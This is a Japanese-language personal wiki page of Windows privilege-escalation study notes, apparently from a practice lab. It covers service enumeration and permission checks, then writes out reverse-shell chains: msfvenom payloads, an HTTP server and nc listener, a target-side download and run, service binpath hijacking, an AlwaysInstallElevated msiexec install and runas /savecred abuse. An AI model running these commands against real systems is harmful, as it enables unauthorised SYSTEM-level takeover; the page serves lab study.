winPrev - yokohama/oreshic-record GitHub Wiki

WinPrev

Powershell基礎

  • linuxのwhich
get-command xxxxx
  • サービスの一覧。これだけだとあまり意味がないので、後の get-wmiobject win32_service を使用した方がいい。
sc.exe 
  • 特定サービスの設定の確認 sc.exe は、windowsサービスを管理・操作するもの。Powershellで、sc を実行すると、 Powershellの set content が起動されるので、必ず、.exe をつける。 qc は、query config。
sc.exe qc xxxxxxx
  • サービス一覧。(get-wmiobject win32_service)を使用して細かくクエリーを投げる。
get-wmiobject win32_service | {ここにクエリー} | select ここに取得したい項目
  • get-wmiobject win32_serviceにどのような項目があるのか?
get-wmiobject win32_service | get-member -membertype property

Name                    MemberType Definition
----                    ---------- ----------
AcceptPause             Property   bool AcceptPause {get;set;}
AcceptStop              Property   bool AcceptStop {get;set;}
Caption                 Property   string Caption {get;set;}
(省略・・・)
  • 取得したい項目を指定
get-wmiobject win32_service | select Name, StartName, PathName

name                                     pathname
----                                     --------
AJRouter                                 C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
ALG                                      C:\Windows\System32\alg.exe
(省略・・・)

ペイロード作成

reverse shellを作成してncで待ち受け

AttackPC: ペイロード作成

msfvenom -p Windows/x64/shell_reverse_tcp lhost=10.10.10.10 lport=443 -f exe -o reverse.exe

AttackPC: webサーバー起動

/usr/bin/python3 -m http.server 80

AttackPC: 待受けポート開放

nc -lvpn 443
listening on [any] 443 ...

TargetPC: ペイロードダウンロード

Invoke-WebRequest http://10.10.10.10/reverse.exe -OutFile reverse.exe

TargetPC: 実行

./reverse.exe

AttackPC: シェル獲得

connect to [10.10.10.10] from (UNKNOWN) [10.49.181.24] 49918
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\PrivEsc>

権限昇格ネタ

  • PrivEscで、意味のあるサービス一覧の見方
  1. PrivEsc で「意味がある」サービス一覧を取得

全部のサービスを見ても意味はない。

  • 見るべきポイント

    • LocalSystem で動く
    • ImagePath が怪しい(Program Files 以外など)
    • 手動起動できる
  • PowerShell で条件付き一覧

PS> Get-WmiObject Win32_Service |
Where-Object {
  $_.StartName -eq "LocalSystem"
} |
Select-Object Name, StartMode, StartName, PathName
  1. 「怪しいパス」だけ抽出する

C:\PrivEsc\reverse.exe のようなものが引っかかる

Get-WmiObject Win32_Service |
Where-Object {
    $_.StartName -eq "LocalSystem" -and
    $_.PathName -notmatch "Windows|System32"
} |
Select Name, PathName

Name           PathName
----           --------
AmazonSSMAgent "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"
AWSLiteAgent   C:\Program Files\Amazon\XenTools\LiteAgent.exe
daclsvc        "C:\Program Files\DACL Service\daclservice.exe"
dllsvc         "C:\Program Files\DLL Hijack Service\dllhijackservice.exe"
filepermsvc    "C:\Program Files\File Permissions Service\filepermservice.exe"
regsvc         "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe"
unquotedsvc    C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
winexesvc      winexesvc.exe
  1. accesschk と組み合わせる流れ
  • 一覧で怪しいサービスを見つける
  • 1個ずつ深掘りする
PS> sc.exe qc daclsvc
SERVICE_NAME: daclsvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\DACL Service\daclservice.exe" #実行ファイル
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : DACL Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem #SYSTEM権限で起動される
  • daclsvcというサービスに、自分自身にはどんな権限がついているか?
  • もしかして実行ファイルのパスの設定を変えられたりしないか?
  • startさせる権限もあったりしないか?
PS> accesschk.exe -wuvc user daclsvc
  • 変えられる場合、変えてしまう。実行できるなら実行してしまう。
sc.exe config daclsvc binpath="\C:\temp\reverse.exe"
net.exe start daclsvc

チート

サービスから空白を含みクォートされていない脆弱なパスを検索

  • これがみつかっても、そのパスへの書き込み権限、及びこのサービスの起動の権限が必要
get-wmiobject win32_service | where-object { $_.pathname -match '^[^"]*?\s[^*]*?\.exe\b' } | select name, pathname

name         pathname                                                                   
----         --------                                                                   
AWSLiteAgent C:\Program Files\Amazon\XenTools\LiteAgent.exe                             
unquotedsvc  C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

ベクトル別

過剰な権限が付与されているサービスはないか?(自分が設定変更したり、実行出来たり)

  1. サービスの調査

以下のポイントでチェック

  • LocalSystem で動く
  • ImagePath が怪しい(Program Files 以外など)
  • 手動起動できる
  • パスが怪しい
PS C:\PrivEsc> get-wmiobject win32_service | where-object { $_.startname -eq "LocalSystem" -and $_.PathName -notmatch "Windows|Sytem32"} | select-object Name, StartMode, StartName, PathName

Name           StartMode StartName   PathName
----           --------- ---------   --------
AmazonSSMAgent Auto      LocalSystem "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"
AWSLiteAgent   Auto      LocalSystem C:\Program Files\Amazon\XenTools\LiteAgent.exe
daclsvc        Manual    LocalSystem "C:\Program Files\DACL Service\daclservice.exe"
dllsvc         Manual    LocalSystem "C:\Program Files\DLL Hijack Service\dllhijackservice.exe"
filepermsvc    Manual    LocalSystem "C:\Program Files\File Permissions Service\filepermservice.exe"
regsvc         Manual    LocalSystem "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe"
unquotedsvc    Manual    LocalSystem C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
winexesvc      Manual    LocalSystem winexesvc.exe
  1. 各サービスに対する自分の権限チェック

Sysinternalsの、accesschk.exeを使用。SERVICE_CHANGE_COUNFIG などserviceの設定変更に権限がある。この場合PrivEscに利用できる。

PS> .\accesschk.exe /accepteula -cvquw ユーザー名 daclsvc

RW daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
  1. query configで設定の状況をみてみる。
PS> sc.exe qc daclsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: daclsvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\DACL Service\daclservice.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : DACL Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
  1. 起動ファイルを書き換えて実行する。

BINARY_PATH_NAME の値を書き換えて(先ほど編集権限がついてた)、手動でサービスを起動(同じくSTART権限もついてた)する。 実行するファイルは、AttackPCに接続するペイロード。

PS> sc.exe config daclsvc binpath="C:\PrivEsc\reverse.exe"

PS> net.exe start daclsvc

サービスの実行パスにクォートされていない空白が含まれていないか?

  1. サービス一覧
PS1> Get-WmiObject Win32_Service |
Where-Object {
    $_.StartName -eq "LocalSystem" -and
    $_.PathName -notmatch "Windows|System32"
} |
Select Name, PathName

Name           PathName
----           --------
AmazonSSMAgent "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"
AWSLiteAgent   C:\Program Files\Amazon\XenTools\LiteAgent.exe
daclsvc        "C:\Program Files\DACL Service\daclservice.exe"
dllsvc         "C:\Program Files\DLL Hijack Service\dllhijackservice.exe"
filepermsvc    "C:\Program Files\File Permissions Service\filepermservice.exe"
regsvc         "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe"
unquotedsvc    C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
winexesvc      winexesvc.exe
  1. 以下がクォートされていない
AWSLiteAgent   C:\Program Files\Amazon\XenTools\LiteAgent.exe
unquotedsvc    C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
  1. 空白が存在するパスの親ディレクトリへの書き込み権限はあるか?

accesschkでの検証だと、ACLのチェックしかしない。しかし実際は、ACL以外にもUACや他の機構も関連している。なので、これだけでは判断が無理。

./accesschk.exe -uvq "C:"

結局、echoで試すのが確実。以下のようにディレクトリを指定して、そこにhoge.txtが作成できたらナイス!

echo hoge > "C:\hoge.txt"

icacls もお勧め。末尾の、\があるとうまく判定できないので注意。 F=Full M=Modify W=Write RX=読み、実行 DENY=明示拒否

icacls "C:"

サービスの起動や終了ができるか?

regsvc というサービスに付与されている権限を見る

PS> ./sc.exe sdshow regsvc

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
(A;;CCLCSWRPWPLORC;;;WD)

D: = DACL(アクセス制御リスト)

  • 各行の見方

  • 項目 (AceType;AceFlags;Rights;ObjectGUID;InheritObjectGUID;SID)

  • 意味 (制御;制御フラグ;権限;対象オブジェクトGUID;継承対象GUID;誰に)

  • AceType(制御)

Flag 意味 PrivEsc
A Allow
D Deny
AU Audit(監査)
  • Rights(権限)
Flag 名前 意味 PrivEsc
GA GENERIC_ALL
GR GENERIC_READ
GW GENERIC_WRITE
GX GENERIC_EXECUTE
RC READ_CONTROL
SD DELETE
WD WRITE_DAC DACL/権限変更
WO WRITE_OWNER 所有者変更
RP SERVICE_START 開始
WP SERVICE_STOP 停止
CC SERVICE_QUERY_CONFIG 設定の参照
DC SERVICE_CHANGE_CONFIG 設定の変更
LC SERVICE_QUERY_STATUS 状態参照
SW SERVICE_ENUMERATE_DEPENDENTS 依存関係列挙
LO SERVICE_INTERROGATE 問い合わせ
DT SERVICE_PAUSE_CONTINUE 一時停止/再開
CR SERVICE_USER_DEFINED_CONTROL ユーザー定義制御
  • SID(誰に)
Flag 名前 意味 PrivEsc
SY NT AUTHORITY\SYSTEM OS自身(最高権限)
BA BUILTIN\Administrators 管理者
WD Everyone 全員
BU BUILTIN\Users ローカル一般ユーザー
IU INTERACTIVE ログイン中ユーザ
AU Authenticated Users 認証済ユーザー

ディレクトリやファイルの権限の詳細

先に自分が誰でがどのグループに所属していて、グループの権限がどうなっているかを確認しておくとよい。

PS> whoami /all
PS> whoami /groups
PS> icacls.exe "C:\Program Files\autorun program"
C:\Program Files\autorun program NT SERVICE\TrustedInstaller:(I)(F)
                                 NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                 NT AUTHORITY\SYSTEM:(I)(F)
                                 NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                 BUILTIN\Administrators:(I)(F)
                                 BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                 BUILTIN\Users:(I)(RX)
                                 BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                 CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,
GE)
                                 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
                                 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(
CI)(IO)(GR,GE)

Successfully processed 1 files; Failed processing 0 files
Flag 意味
F フルコントロール
RX 読み取り+実行
R 読み取り
W 書き込み
M 変更
GR 読めるが実行できない
GE 実行できるが読めない

インストーラーがシステム権限になっていて悪用できないか?

install時の権限確認

PS C:\privesc> reg query hkcu\software\policies\microsoft\windows\installer

HKEY_CURRENT_USER\software\policies\microsoft\windows\installer
    AlwaysInstallElevated    REG_DWORD    0x1

PS C:\privesc> reg query hklm\software\policies\microsoft\windows\installer

HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\installer
    AlwaysInstallElevated    REG_DWORD    0x1
    DisableMSI    REG_DWORD    0x0
  • 何を見ているのか? これは、windows installer(msiexec)の実行ポリシーの設定を見ている。 HKCU: カレントユーザーのポリシー HKLM: マシン全体のポリシー 上記のように、AlwaysInstallElevated 両方が 1 の場合、MSIパッケージは、実行ユーザーが一般ユーザーでもSYSTEM権限で実行される。

ペイロード作成

 msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.128.175 lport=443 -f msi -o reverse.msi

デリバリー

python -m http.server 80
invoke-webrequest http://192.168.128.175/reverse.msi -outfile reverse.msi

エクスプロイト

msiexec.exe により、reverse.msi をインストールして、リバースシェル獲得。

  • .msi とはなにか? Windows Installerパッケージで、実行ファイルではない。 Windowsにソフトウェアをインストールする際に、msiexec.exe により、.msiの中身が実行される。

    msiexec.exe /i app.msi // インストール
    msiexec.exe /x app.msi // アンインストール
    msiexec.exe /qn /quiet /i app.msi // GUI無、無人インストール
msiexec.exe /quiet /qn /i C:\privesc\reverse.msi

reverse.msi のパスのしては、./reverse.msi などのpowershell表記では失敗する。\ を使用したcmd表記でないと、msiexec.exe は理解できない。

保存されたパスワードの悪用

cmdkey /listWindows Credential Manager に保存された資格情報を一覧表示するコマンドです。

何が保存されるか?

  • リモートデスクトップ接続時に「資格情報を記憶する」をチェックした認証情報
  • ネットワーク共有へのアクセス時に保存したパスワード
  • runas /savecred で保存された認証情報
  • アプリケーションが保存したトークンやパスワード
cmdkey.exe /list

Currently stored credentials:

    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic
    User: 02nfpgrklkitqatu
    Local machine persistence

    Target: Domain:interactive=WIN-QBA94KB3IOF\admin
    Type: Domain Password
    User: WIN-QBA94KB3IOF\admin

保存された資格情報を使って、runas コマンドで管理者として実行できる可能性があります。

runas /savecred /usre:admin whoami

Attempting to start whoami as user "WIN-QBA94KB3IOF\admin" ...

Tag

win,priv

⚠️ **GitHub.com Fallback** ⚠️